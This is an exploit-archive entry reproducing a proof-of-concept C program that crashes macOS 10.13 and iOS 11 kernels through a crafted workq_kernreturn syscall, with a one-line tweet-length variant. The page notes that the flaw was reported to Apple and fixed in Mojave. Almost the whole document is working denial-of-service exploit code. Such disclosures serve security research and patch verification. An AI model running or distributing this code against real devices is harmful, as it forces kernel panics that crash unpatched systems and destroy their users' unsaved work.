发布 2018-11-20 漏洞条目

Apple macOS 10.13 – ‘workq_kernreturn’ Denial of Service (PoC)

Exploit Source

# Exploit Title: MacOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)

# Date: 2018-07-30

# Exploit Author: Fabiano Anemone

# Vendor Homepage: https://www.apple.com/

# Version: iOS 11.4.1 / MacOS 10.13.6

# Tested on: iOS / MacOS

# CVE: Not assigned

# Tweet: https://twitter.com/anoane/status/1048549170217451520

# iOS 11 / MacOS 10.13 - workq_kernreturn syscall local DoS

# workq_kernreturn_dos.c

# workq_kernreturn_dos

# Created by FABIANO ANEMONE (@ on 7/30/18.

# Reported to product-security@apple.com on 7/30/18

# Fixed in Mojave.

#include <stdio.h>

#include <unistd.h>

#include <sys/syscall.h>

#include <sys/errno.h>

#define WQOPS_THREAD_WORKLOOP_RETURN 0x100 /* parks the thread after delivering the passed kevent array */

int workq_kernreturn(int options, user_addr_t item, int affinity, int prio) {

return syscall(SYS_workq_kernreturn, options, item, affinity, prio);

}

int main(int argc, const char * argv[]) {

//short version that fits one tweet:

//syscall(368,256,1,1);

errno = 0;

user_addr_t any_non_zero_address = 1;

int res = workq_kernreturn(WQOPS_THREAD_WORKLOOP_RETURN, any_non_zero_address, 1, 0);

// MacOS 10.13.X and iOS 11.X will panic at this point

printf("workq_kernreturn: %d - res: %d - errno: %d\n", 0, res, errno);

return 0;

}

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